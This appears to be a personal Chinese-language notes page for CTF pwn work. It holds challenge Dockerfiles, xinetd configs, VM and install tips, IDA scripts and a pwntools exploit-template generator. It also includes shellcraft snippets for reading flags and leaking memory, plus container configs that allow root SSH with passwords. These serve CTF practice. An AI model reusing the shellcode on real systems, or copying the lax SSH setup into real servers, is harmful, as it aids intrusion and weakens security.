 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
FROM ubuntu:20.04

#LABEL maintainer="d1ag0n@cyberpeace.cn"

WORKDIR /opt
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \
    apt-get update 

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get install -y lib32z1 xinetd libc6-dev-mips64el-cross libc6-dev-arm64-cross qemu-user-static libc6-dev-armel-cross \
    openssh-server unzip make wget bison flex build-essential  curl python-dev libpcap-dev python2.7 libpython2.7 \
    libc6-dbg inetutils-ping libreadline-dev \
    && rm -rf /var/lib/apt/lists/*

COPY ./get-pip.py /opt/
RUN python get-pip.py && rm -rf /opt/get-pip.py

ADD ./kafel-master.zip /opt/
RUN unzip kafel-master.zip && rm kafel-master.zip && mv kafel-master kafel && cd kafel && make 

COPY ./xinetd /usr/sbin/xinetd

# 开启ssh登录
RUN rm -f /etc/service/sshd/down
RUN sed -ri 's/^#?PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config &&\
    sed -ri 's/#UseDNS\ no/UseDNS\ no/g' /etc/ssh/sshd_config && \
    sed -ri "s/StrictModes yes/StrictModes no/g" /etc/ssh/sshd_config && \
    sed -ri "s/UsePAM yes/UsePAM no/g" /etc/ssh/sshd_config

# 设置允许密码登录
RUN echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config

# 设置只可公钥登录
# RUN echo 'PasswordAuthentication no' >> /etc/ssh/sshd_config

## 安装抓包的flow_dumper.py所需依赖
RUN pip install dpkt==1.8.8 \
    pcapy==0.11.1 \
    impacket==0.9.15 \
    supervisor==3.3.1 \
    pyinotify==0.9.6 \
    requests \
    # pwntools \
    -i https://pypi.tuna.tsinghua.edu.cn/simple

# 添加选手用户
RUN groupadd ctf && \
    useradd -g ctf ctf -m && \
    echo "ctf:xxxxxxxx" | chpasswd && \
    echo "root:xxxxxxxx" | chpasswd

# 添加题目用户
RUN useradd pwnuser

RUN echo_supervisord_conf > /etc/supervisord.conf
RUN mkdir /etc/supervisord.conf.d
RUN echo "[include]" >> /etc/supervisord.conf
RUN echo "files = /etc/supervisord.conf.d/*.ini" >> /etc/supervisord.conf
COPY ./flow/flow_dumper.ini /etc/supervisord.conf.d
COPY ./flow/flow_dumper.py /root
COPY ./flow/container_mon.py /root

# 编译并设置赛题所属组和权限
WORKDIR /home/ctf/challenge

COPY ./bin /home/ctf/challenge
RUN chown -R root:ctf /home/ctf/challenge && \
	chmod -R 775 /home/ctf/challenge && \
	mkdir /home/ctf/.ssh

WORKDIR /home/ctf

RUN echo "ctf{this_is_a_sample_flag}" > /home/ctf/flag
RUN chmod 644 /home/ctf/flag && chown root:root /home/ctf

# RUN cp -R /lib* /home/ctf
RUN cp -R /usr/lib* /home/ctf

RUN mkdir /home/ctf/dev && \
	mknod /home/ctf/dev/null c 1 3 && \
	mknod /home/ctf/dev/zero c 1 5 && \
	mknod /home/ctf/dev/random c 1 8 && \
	mknod /home/ctf/dev/urandom c 1 9 && \
	chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
	cp /bin/sh /home/ctf/bin && \
	cp /bin/ls /home/ctf/bin && \
	cp /bin/cat /home/ctf/bin

COPY ./xinetd.cfg /etc/xinetd.d/ctf
# 搅屎测试的
# COPY ./kill.cfg /etc/xinetd.d/testkill
# COPY ./noalarm.cfg /etc/xinetd.d/noalarm
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

ADD pwn.kafel /etc/pwn.kafel

COPY ./start.sh /start.sh
RUN chmod +x /start.sh

# 运维使用,添加了运维人员的公钥
RUN mkdir /root/.ssh
RUN echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtYBQRQ4uoo5kRyFQaGICnIF4aoxv8L+5FzgbBzemzibSPisnXTCPXpG4zISUpT6cGmtf3yVJErlzSYBU6NoOGXqj3zl0JsLMb0KC9MNnXLkNKsFabURJOdQWixXGsn9TS3r1vDfhTYKUCo2IRuCKlCoXMYWGJ3QTXqa4itgntI71Zi8/a8OSsdT10jaDk4M0xCdToPfQ18uzVmyNekqKyZor7wZr/OUpXzJTivnvTk3FHAzgetHXGpFr07FEAfFrI15WLzZvTPRM3gGn8m6jVkhMHegm6OK8s6UTuLvGSP+9B27UmJN4lvq8JTtTZIJ8qKgahg41+0/pumLMCYxox root@ubuntu' >> /root/.ssh/authorized_keys 
RUN chmod 600 /root/.ssh/authorized_keys

CMD ["/start.sh"]

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230601005304003.png

Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
FROM ubuntu:20.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd

RUN useradd -m ctf

WORKDIR /home/ctf

RUN cp -R /usr/lib* /home/ctf
# RUN cp -R /lib* /home/ctf

RUN mkdir /home/ctf/dev && \
    mknod /home/ctf/dev/null c 1 3 && \
    mknod /home/ctf/dev/zero c 1 5 && \
    mknod /home/ctf/dev/random c 1 8 && \
    mknod /home/ctf/dev/urandom c 1 9 && \
    chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
    cp /bin/sh /home/ctf/bin && \
    cp /bin/ls /home/ctf/bin && \
    cp /bin/cat /home/ctf/bin

COPY ./ctf.xinetd /etc/xinetd.d/ctf
COPY ./start.sh /start.sh
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

RUN chmod +x /start.sh

COPY ./bin/ /home/ctf/
RUN chown -R root:ctf /home/ctf && \
    chmod -R 750 /home/ctf && \
    chmod 740 /home/ctf/flag

ENV NS_FLAG "flag{test}"

COPY script.sh /
RUN chmod +x /script.sh

CMD /bin/bash -c '/script.sh && /start.sh'

EXPOSE 8888

快速替换源

1
2
3
sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list && \
    sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list && \
1
2
3
sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list
sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list
sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list

ctf.xinetd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
service ctf
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = root
    type        = UNLISTED
    port        = 8888
    bind        = 0.0.0.0
    server      = /usr/sbin/chroot
    # replace helloworld to your program
    server_args = --userspec=1000:1000 /home/ctf ./pwn
    banner_fail = /etc/banner_fail
    # safety options
    per_source	= 10 # the maximum instances of this service per source IP address
    rlimit_cpu	= 20 # the maximum number of CPU seconds that the service may use
    #rlimit_as  = 1024M # the Address Space resource limit for the service
    #access_times = 2:00-9:00 12:00-24:00
}

strip.sh

1
2
3
#!/bin/bash
echo "$NS_FLAG" > /home/ctf/flag
exec "$@"

start.sh

1
2
3
4
5
#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

命令

1
2
sudo docker build -t imageName .
sudo docker run -tid -e NS_FLAG="flag{abcdefg}" -p "0.0.0.0:pub_port:8888" -h "CONTAINER_NAME" --name="CONTAINER_NAME" imageName

AFL工具使用

https://paper.seebug.org/841/

afl-tmin

1
afl-cmin -i input_dir -o output_dir -- /path/to/tested/program [params]

linux调试版本不一致

1
CONFIG_MODVERSIONS = n

添加swap交换分区空间

1.查看当前内存和swap空间大小

$free -mh

2.创建swap交换分区文件/swap/swapfile,大小为8G

$ sudo mkdir /swap

$ sudo dd if=/dev/zero of=/swap/swapfile bs=1G count=8

3.格式化swap分区:

$sudo mkswap /swap/swapfile

4.设置交换分区:

$sudo mkswap -f /swap/swapfile

5.修改权限:

$sudo chmod 600 /swap/swapfile

6.激活swap分区:

$sudo swapon /swap/swapfile

6.设为开机自动启用:

$sudo vi /etc/fstab

在该文件底部添加如下内容:

/swap/swapfile swap swap default 0 0

附:删除swap交换分区

1.停止正在使用的swap分区:

$sudo swapoff /swap/swapfile

2.删除swap分区文件:

$sudo rm /swap/swapfile

3.删除或注释在/etc/fstab文件中的以下开机自动挂载内容:

/swap/swapfile swap swap default 0 0

解包

img镜像文件

1
sudo mount

打包

1
2
sudo ~/ROM_toolbox-linux/make_ext4fs -s -l 268435456 new_system.img ./core
sudo ~/ROM_toolbox-linux/simg2img new_system.img system_out.img

取消byteswaring

1
2
import warnings
warnings.filterwarnings('ignore')

删除none镜像

1
sudo docker rmi -f $(sudo docker images | grep "none" | awk '{print $3}')

一些系统调用

getdents

1
2
3
4
5
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);

payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)

connect

1
connect(ip,port)

mmap

1
2
3
4
## 映射fd
mmap(0x100000, 0x1000, 1, 3, 'rax', 0);
## mmap一块区域
mmap(0x100000, 0x1000, 0x7, 34, -1, 0);

openat

1
2
openat(-100,"./flag",0)
openat(0, "/flag", 0)

ptrace

1
2
3
4
5
long` `ptrace(enum __ptrace_request request, pid_t pid, void ``*``addr,void ``*``data);
1``). enum __ptrace_request request:参数执行的行为
2``). pid_t pid: ptrace要跟踪的进程号。
3``). void ``*``addr: 存放数据的地址。
4``). void ``*``data: 存放读取出的或者要写入的数据。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
enum __ptrace_request
{
    PTRACE_TRACEME = 0,        //被调试进程调用
    PTRACE_PEEKTEXT = 1, //从内存addr处读取一个字节
    PTRACE_PEEKDATA = 2,    //查看内存addr处的一个字节
    PTRACE_PEEKUSER = 3,    //查看struct user 结构体的值
    PTRACE_POKETEXT = 4, //查看内存addr处一个字大小的内存(4字节)
    PTRACE_POKEDATA = 5,    //修改内存addr处一个字大小的内存(4字节)
    PTRACE_POKEUSER = 6,    //修改struct user结构体的值
    PTRACE_CONT = 7,        //被调试进程pid继续
    PTRACE_SINGLESTEP = 9,    //被调试进程pid执行一条汇编指令
    PTRACE_GETREGS = 12,    //获取寄存器(struct user_regs_struct)到内存data中
    PTRACE_SETREGS = 13,    //设置内存data上的数据为寄存器(struct user_regs_struct)
    PTRACE_ATTACH = 16,        //附加进程pid
    PTRACE_DETACH = 17,        //解除附加进程pid
    PTRACE_SYSCALL = 24,    //让被调试进程pid在系统调用入口或出口停止
};
long int ptrace (enum __ptrace_request __request, ...)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
##/arch/x86/include/uapi/asm/ptrace-abi.h
#define R15 0
#define R14 8
#define R13 16
#define R12 24
#define RBP 32
#define RBX 40
/``*` `These regs are callee``-``clobbered. Always saved on kernel entry. ``*``/
#define R11 48
#define R10 56
#define R9 64
#define R8 72
#define RAX 80
#define RCX 88
#define RDX 96
#define RSI 104
#define RDI 112
/``*
 ``*` `On syscall entry, this ``is` `syscall``#. On CPU exception, this is error code.
 ``*` `On hw interrupt, it's IRQ number:
 ``*``/
#define ORIG_RAX 120
/``*` `Return frame ``for` `iretq ``*``/
#define RIP 128
#define CS 136
#define EFLAGS 144
#define RSP 152
#define SS 160
#endif /* __ASSEMBLY__ */
/``*` `top of stack page ``*``/
#define FRAME_SIZE 168

arch_prctl

会将heap[0]设置为0xdeadbeef

ARCH_SET_GS == 0x1001

ARCH_GET_GS == 0x1004

1
2
arch_prctl(ARCH_SET_GS, 0xdeadbeef);
arch_prctl(ARCH_GET_GS, $heap);

writev

addr[0] = want_leak_addr

addr[1] = size

1
2
syscall(20, 1, addr, 1)
writev(1,addr,1)

prlimit

https://hackmd.io/@ptr-yudai/SJEgM1vzq

1
2
3
4
5
6
7
8
perlimt(ppid,9,new_limit,NULL)
prlimit(ppid,9,remove_limit, NULL)
new_limit:
  dq 0                          ; soft limit
  dq 0x133700000000             ; hard limit
remove_limit:
  dq 0x133700000000             ; soft limit
  dq 0x133700000000             ; hard limit

可以修改申请内存限制

idapython 常见指令

获取数值

旧的函数 新的函数
Byte(addr) idc.get_wide_byte(addr)
Word(addr) idc.get_wide_word(addr)
Dword(addr) idc.get_wide_dword(addr)
Qword(addr) idc.get_qword(addr)

数值操作

旧函数 新函数
idc.PatchByte(addr,value) ida_bytes.patch_byte(addr,value)
idc.PatchWord(addr,value) ida_bytes.patch_word(addr,value)
idc.PatchDword(addr,value) ida_bytes.patch_Dword(addr,value)
idc.PatchQword(addr,value) ida_bytes.patch_Qword(addr,value)

获取地址

老版函数 当前7.5支持函数 作用
idc.ScreenEA() idc.get_screen_ea() 获取当前指令地址
idc.MinEA() idc.StartEA() idc.BeginEA() ida_ida.inf_get_min_ea() 获取当前最小地址. 其中老版的三个函数都替换为了新版.使用的是同一个函数
idc.MaxEA() ida_ida.inf_get_max_ea() 获取当前最大地址
idc.SelStart() idc.read_selection_start() 获取当前光标选择的的块中的 起始地址
idc.SelEnd() idc.read_selection_end() 同上 返回结束地址

dump_elf32.idc

其中ImageBase是Load段的地址,可能需要根据实际情况进行修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <idc.idc>
#define PT_LOAD              1
#define PT_DYNAMIC           2
static main(void)
{
        Message("start");
        auto ImageBase,StartImg,EndImg;
        auto e_phoff;
        auto e_phnum,p_offset;
        auto i,dumpfile;
        ImageBase=0x8048000;
        StartImg=0x8000000;
        EndImg=0x0;
        if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f ){
                if(dumpfile=fopen("dumpfile","wb"))
                {
                        e_phoff=ImageBase+Dword(ImageBase+0x1c);
                        Message("e_phoff = 0x%x\n", e_phoff);
                        e_phnum=Word(ImageBase+0x30);
                        Message("e_phnum = 0x%x\n", e_phnum);
                        for(i=0;i<e_phnum;i++)
                        {
                                if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)
                                {
                                        p_offset=Dword(e_phoff+0x4);
                                        StartImg=Dword(e_phoff+0x8);
                                        EndImg=StartImg+Dword(e_phoff+0x14);
                                        Message("start = 0x%x, end = 0x%x, offset = 0x%x\n", StartImg, EndImg, p_offset);
                                        dump(dumpfile,StartImg,EndImg,p_offset);
                                        Message("dump segment %d ok.\n",i);
                                }
                                e_phoff=e_phoff+0x20;
                        }

                        fseek(dumpfile,0x20,0);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);

                        fseek(dumpfile,0x30,0);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);

                        fclose(dumpfile);
                }else Message("dump err.");
        }
}
static dump(dumpfile,startimg,endimg,offset)
{
        auto i;
        auto size;
        size=endimg-startimg;
        fseek(dumpfile,offset,0);
        for ( i=0; i < size; i=i+1 )
        {
                fputc(Byte(startimg+i),dumpfile);
        }
}

IDA右键菜单打开

换成自己的ida的路径即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell]

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x64]
@="IDA x64"
"Icon"="\"F:\\IDA7.7\\ida64.exe\", 4"

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x64\Command]
@="\"F:\\IDA7.7\\ida64.exe\" \"%1\""

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x86]
@="IDA x32"
"Icon"="\"F:\\IDA7.7\\ida.exe\", 4"

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x86\Command]
@="\"F:\\IDA7.7\\ida.exe\" \"%1\""

ubuntu加内存(内存扩展)

外部:

关机之后点击扩容然后选择想要扩容成的大小

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230125150856220.png

内部:

安装gparted

1
sudo apt-get install gparted

打开gparted,右键/dev/sda1 更改大小,拖到最右,然后同样的方法/dev/sda5,最后点击上面的对勾即可

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230125151036336.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230125151307095.png

虚拟机繁忙,无法关机

找到VMware workstation VMX 结束进程

python 显示某某decode不了或者encode不了

试试latin-1

pwntools 使用

1
asm("syscall; ret").encode('hex')

共享文件夹突然消失

1
2
cd ~/
sudo vmhgfs-fuse .host:/ /mnt/hgfs/ -o allow_other -o uid=1000

编译32bit程序

1
2
sudo apt-get install build-essential module-assistant  
sudo apt-get install gcc-multilib g++-multilib 

pwntools解决tmux waiting for debugger

升级到最新版本即可或者是4.8.0,但是原装的terminal就不能愉快的调试了。。。

1
2
pip2 install pwntools==4.10.0b0
pip install pwntools==4.10.0b0
1
2
pip2 install pwntools==4.8.0
pip install pwntools==4.8.0

Triton安装

1
2
3
4
5
6
git clone https://github.com/JonathanSalwan/Triton.git
cd Triton
mkdir build
cd build
cmake ..
sudo make -j install

cmake版本太小

1
2
3
4
5
6
7
wget https://cmake.org/files/v3.22/cmake-3.22.1.tar.gz
tar -xvzf cmake-3.22.1.tar.gz
cd cmake-3.22.1
./configure
sudo make 
sudo make install
sudo update-alternatives --install /usr/bin/cmake cmake /usr/local/bin/cmake 1 --force

缺少BITWUZLA

真顺利,还以为会报很多错

1
2
3
4
5
6
7
git clone https://github.com/bitwuzla/bitwuzla
cd bitwuzla
./contrib/setup-cadical.sh
./contrib/setup-btor2tools.sh
./contrib/setup-symfpu.sh
./configure.sh --shared
sudo make -C build install

capstone路径不对

1
./make.sh

打开makefile

把PREFIX改成/usr/local

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230326163916809.png

安装以后不能用

输出路径,将编译好的triton.so放入路径里面

1
python3 -c "from sysconfig import get_paths; info = get_paths(); print(info['stdlib'])"

自用pwntools利用模板

效果

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230322011524691.png

pwnup.mako

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230623114629763.png

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<%page args="binary, libc = None, host=None, port=None, user=None, password=None, remote_path=None,quiet=False"/>\
<%
import os
import sys
import subprocess
from pwnlib.context import context as ctx
from pwnlib.elf.elf import ELF
from pwnlib.util.sh_string import sh_string
from pwn import asm
from elftools.common.exceptions import ELFError

argv = list(sys.argv)
argv[0] = os.path.basename(argv[0])
flags = 0
try:
    if binary:
       ctx.binary = ELF(binary, checksec=False)
except ELFError:
    pass

def is_static_binary(binary_path):
    output = subprocess.check_output(['file', binary_path])
    return b'statically linked' in output
def get_shared_libraries(binary_path):
    output = subprocess.check_output(['ldd', binary_path])
    libs = []
    for line in output.decode().split('\n'):
        if 'libc.so.6' in line:
            lib_path = line.split('=>')[1].split()[0]
            #libs.append(lib_path)
            return lib_path
    #return libs
def find_one_gadget(libc_path):
    output = subprocess.check_output(['one_gadget', libc_path])
    return output.strip()
def nonzero(*args):
    result = []
    for arg in args:
        result.append(arg)
    return result
try:
    if binary:
        ret = is_static_binary(binary)
        if not ret:
            flags = 1
            libc_path = get_shared_libraries(binary)
            og = find_one_gadget(libc_path)
        else:
            flags = 0

except Exception as e:
    print(e)
    pass



if not binary:
    binary = './path/to/binary'

exe = os.path.basename(binary)
ssh = user or password
if ssh and not port:
    port = 22
elif host and not port:
    port = 4141

remote_path = remote_path or exe
password = password or 'secret1234'
binary_repr = repr(binary)
libc_repr = repr(libc)
%>\
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#context.log_level = 'debug'
def exp():
    #context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = "debug"
    #attach(p)
    p.interactive()
if __name__ == "__main__":
    %if ctx.binary:
    binary = ${binary_repr}
    elf = ELF(${binary_repr})
    context.binary = binary
    %if not libc:
    libc = elf.libc
    %else:
    libc = ELF(${libc_repr})
    %endif
    %endif
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()
%if binary:
%if flags:
"""
${og}
"""
%endif
%endif
    

template.py

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230623114824366.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division

from pwn import *
from pwnlib.commandline import common

from mako.lookup import TemplateLookup

parser = common.parser_commands.add_parser(
    'template',
    help = 'Generate an exploit template',
    description = 'Generate an exploit template'
)

parser.add_argument('exe', nargs='?', help='Target binary')
parser.add_argument('--libc', help='Remote libc version')
parser.add_argument('--host', help='Remote host / SSH server')
parser.add_argument('--port', help='Remote port / SSH port', type=int)
parser.add_argument('--user', help='SSH Username')
parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
parser.add_argument('--path', help='Remote path of file on SSH server')
parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')

def main(args):
    lookup = TemplateLookup(
        directories      = [os.path.join(pwnlib.data.path, 'templates')],
        module_directory = None
    )

    # For the SSH scenario, check that the binary is at the
    # same path on the remote host.
    if args.user:
        if not (args.path or args.exe):
            log.error("Must specify --path or a exe")

        s = ssh(args.user, args.host, args.port or 22, args.password or None)

        try:
            remote_file = args.path or args.exe
            s.download(remote_file)
        except Exception:
            log.warning("Could not download file %r, opening a shell", remote_file)
            s.interactive()
            return

        if not args.exe:
            args.exe = os.path.basename(args.path)

    template = lookup.get_template('pwnup.mako')
    output = template.render(args.exe,
                             args.libc,
                             args.host,
                             args.port,
                             args.user,
                             args.password,
                             args.path,
                             args.quiet)

    # Fix Mako formatting bs
    output = re.sub('\n\n\n', '\n\n', output)

    # Colorize the output if it's a TTY
    if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
        from pygments import highlight
        from pygments.formatters import TerminalFormatter
        from pygments.lexers.python import PythonLexer
        output = highlight(output, PythonLexer(), TerminalFormatter())

    print(output)

    # If redirected to a file, make the resulting script executable
    if not sys.stdout.isatty():
        try: os.fchmod(sys.stdout.fileno(), 0o700)
        except OSError: pass

if __name__ == '__main__':
    pwnlib.commandline.common.main(__file__)

bubble

在/usr/local/bin建立bubble文件,内容如下,记得赋值可执行权限chmod 777 /usr/local/bin/bubble

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh
FILE_NAME=$1
LIBC_FILE=$2
if [ "$FILE_NAME" = "" ];then
	printf "Usage <%s> : bubble <file> <libc_file>\n"
	printf "Please input the file\n"
	exit
fi
if [ "$LIBC_FILE" ];then
	sudo chmod +x $1
	touch $1.py
	echo "[+]Touch Successful!"
	code $1.py
	sudo chmod +777 $1.py
	template $1 --libc $2 > $1.py
	sudo xclibc $1 $2
	echo "Over"
	exit
fi
sudo chmod +x $1
touch $1.py
echo "[+]Touch Successful!"
code $1.py
sudo chmod +777 $1.py
template $1 > $1.py
echo "Over"

zsh: corrupt history file /home/XXX/.zsh_history

原因是不可见字符导致的错误,可以打开~/.zsh_history将发红的字体给删掉,或者使用下面的命令,但是下面的命令可能会使某些命令失效。

1
2
3
4
cd ~/
cp .zsh_history zsh_history
rm -f .zsh_history 
strings zsh_history .zsh_history

hugo 博客搭建 (windows)

安装

在安装go 的前提下运行下面的命令

1
2
go env -w CGO_ENABLED=1
go install -tags extended github.com/gohugoio/hugo@latest

验证

1
hugo version

(实测当直接下载release版本的时候会出现很多莫名其妙的错误因此最好还是自己编译)

搭建博客,以loveIt为例

1
2
3
hugo new site blog #创建blog站点
cd blog
git clone https://github.com/dillonzq/LoveIt.git themes/LoveIt

修改blog/config.toml

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
